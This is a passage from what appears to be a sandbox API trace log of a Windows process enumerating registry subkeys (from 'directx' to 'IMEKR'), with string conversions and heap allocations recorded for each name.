lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0224.820] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="directx", cchWideChar=7, lpMultiByteStr=0x4ac120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="directx", lpUsedDefaultChar=0x0) returned 7 [0224.820] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.820] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.820] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.820] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.820] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0x4ab930, cchName=0x104 | out: lpName="Driver Signing") returned 0x0 [0224.820] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0224.820] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="driver signing", cchWideChar=14, lpMultiByteStr=0x4ac0d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="driver signing", lpUsedDefaultChar=0x0) returned 14 [0224.820] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.820] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.820] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.820] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.820] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0x4ab930, cchName=0x104 | out: lpName="DRM") returned 0x0 [0224.820] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.820] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.820] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="drm", cchWideChar=3, lpMultiByteStr=0x4ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="drm", lpUsedDefaultChar=0x0) returned 3 [0224.820] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.820] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.820] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.820] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.820] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0x4ab930, cchName=0x104 | out: lpName="DVR") returned 0x0 [0224.821] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.821] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dvr", cchWideChar=3, lpMultiByteStr=0x4ac0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dvr", lpUsedDefaultChar=0x0) returned 3 [0224.821] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.821] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.821] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.821] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.821] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0x4ab930, cchName=0x104 | out: lpName="DXP") returned 0x0 [0224.821] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.821] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dxp", cchWideChar=3, lpMultiByteStr=0x4ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dxp", lpUsedDefaultChar=0x0) returned 3 [0224.821] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.821] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.821] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.821] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.821] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0x4ab930, cchName=0x104 | out: lpName="EnterpriseCertificates") returned 0x0 [0224.821] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0224.821] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enterprisecertificates", cchWideChar=22, lpMultiByteStr=0x4ac0d8, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enterprisecertificates", lpUsedDefaultChar=0x0) returned 22 [0224.821] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.821] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.821] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.821] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.821] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0x4ab930, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0224.821] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.821] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.821] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="eventsystem", cchWideChar=11, lpMultiByteStr=0x4ac120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eventsystem", lpUsedDefaultChar=0x0) returned 11 [0224.821] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.821] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.822] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.822] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.822] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0x4ab930, cchName=0x104 | out: lpName="Exchange") returned 0x0 [0224.822] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.822] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="exchange", cchWideChar=8, lpMultiByteStr=0x4ac0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="exchange", lpUsedDefaultChar=0x0) returned 8 [0224.822] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.822] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.822] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.822] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.822] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0x4ab930, cchName=0x104 | out: lpName="Fax") returned 0x0 [0224.822] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.822] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fax", cchWideChar=3, lpMultiByteStr=0x4ac120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fax", lpUsedDefaultChar=0x0) returned 3 [0224.822] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.822] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.822] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.822] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.822] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0x4ab930, cchName=0x104 | out: lpName="Feeds") returned 0x0 [0224.822] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.822] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="feeds", cchWideChar=5, lpMultiByteStr=0x4ac0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="feeds", lpUsedDefaultChar=0x0) returned 5 [0224.822] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.822] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.822] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.822] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.822] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0x4ab930, cchName=0x104 | out: lpName="FlashConfig") returned 0x0 [0224.822] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.822] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.822] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashconfig", cchWideChar=11, lpMultiByteStr=0x4ac120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashconfig", lpUsedDefaultChar=0x0) returned 11 [0224.823] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.823] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.823] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.823] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.823] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0x4ab930, cchName=0x104 | out: lpName="FTH") returned 0x0 [0224.823] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0224.823] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fth", cchWideChar=3, lpMultiByteStr=0x4ac0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fth", lpUsedDefaultChar=0x0) returned 3 [0224.823] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.823] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.823] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.823] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.823] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0x4ab930, cchName=0x104 | out: lpName="Function Discovery") returned 0x0 [0224.823] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0224.823] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="function discovery", cchWideChar=18, lpMultiByteStr=0x4ac120, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="function discovery", lpUsedDefaultChar=0x0) returned 18 [0224.823] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.823] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.823] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.823] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.823] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0x4ab930, cchName=0x104 | out: lpName="Fusion") returned 0x0 [0224.823] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0224.823] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.823] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="fusion", cchWideChar=6, lpMultiByteStr=0x4ac0d8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fusion", lpUsedDefaultChar=0x0) returned 6 [0224.823] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.823] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.823] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.823] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.823] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0x4ab930, cchName=0x104 | out: lpName="GPUPipeline") returned 0x0 [0224.823] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.824] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="gpupipeline", cchWideChar=11, lpMultiByteStr=0x4ac120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gpupipeline", lpUsedDefaultChar=0x0) returned 11 [0224.824] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.824] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.824] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.824] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.824] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0x4ab930, cchName=0x104 | out: lpName="HTMLHelp") returned 0x0 [0224.824] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0224.824] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="htmlhelp", cchWideChar=8, lpMultiByteStr=0x4ac0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="htmlhelp", lpUsedDefaultChar=0x0) returned 8 [0224.824] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.824] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.824] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.824] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.824] RegEnumKeyW (in: hKey=0x38, dwIndex=0x28, lpName=0x4ab930, cchName=0x104 | out: lpName="IdentityCRL") returned 0x0 [0224.824] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0224.824] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.824] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitycrl", cchWideChar=11, lpMultiByteStr=0x4ac120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitycrl", lpUsedDefaultChar=0x0) returned 11 [0224.824] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.824] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.824] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.824] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.824] RegEnumKeyW (in: hKey=0x38, dwIndex=0x29, lpName=0x4ab930, cchName=0x104 | out: lpName="IdentityStore") returned 0x0 [0224.825] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0224.825] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="identitystore", cchWideChar=13, lpMultiByteStr=0x4ac0d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="identitystore", lpUsedDefaultChar=0x0) returned 13 [0224.825] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.825] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.825] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.825] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.825] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2a, lpName=0x4ab930, cchName=0x104 | out: lpName="IMAPI") returned 0x0 [0224.825] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.825] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imapi", cchWideChar=5, lpMultiByteStr=0x4ac120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imapi", lpUsedDefaultChar=0x0) returned 5 [0224.825] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.825] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.825] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.825] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.825] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2b, lpName=0x4ab930, cchName=0x104 | out: lpName="IMEJP") returned 0x0 [0224.825] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.825] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imejp", cchWideChar=5, lpMultiByteStr=0x4ac0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imejp", lpUsedDefaultChar=0x0) returned 5 [0224.825] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.825] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac0d8) returned 1 [0224.825] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 [0224.825] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4abbb8) returned 1 [0224.825] RegEnumKeyW (in: hKey=0x38, dwIndex=0x2c, lpName=0x4ab930, cchName=0x104 | out: lpName="IMEKR") returned 0x0 [0224.825] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x4abbb8 [0224.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0224.825] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac120 [0224.825] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="imekr", cchWideChar=5, lpMultiByteStr=0x4ac120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="imekr", lpUsedDefaultChar=0x0) returned 5 [0224.825] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x40) returned 0x4ac0d8 [0224.826] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x4ac120) returned 1 